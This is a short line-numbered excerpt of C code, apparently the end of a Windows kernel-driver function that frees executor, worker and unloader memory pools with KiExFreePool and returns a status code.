820 | }
821 |
822 | //
823 | // Release allocation
824 | //
825 | if (PoolExecutor)
826 | KiExFreePool(Driver, PoolExecutor);
827 |
828 | if (PoolWorker)
829 | KiExFreePool(Driver, PoolWorker);
830 |
831 | if NT_ERROR (status)
832 | if (PoolUnloader)
833 | KiExFreePool(Driver, PoolUnloader);
834 |
835 | return status;
836 | }
837 |
--------------------------------------------------------------------------------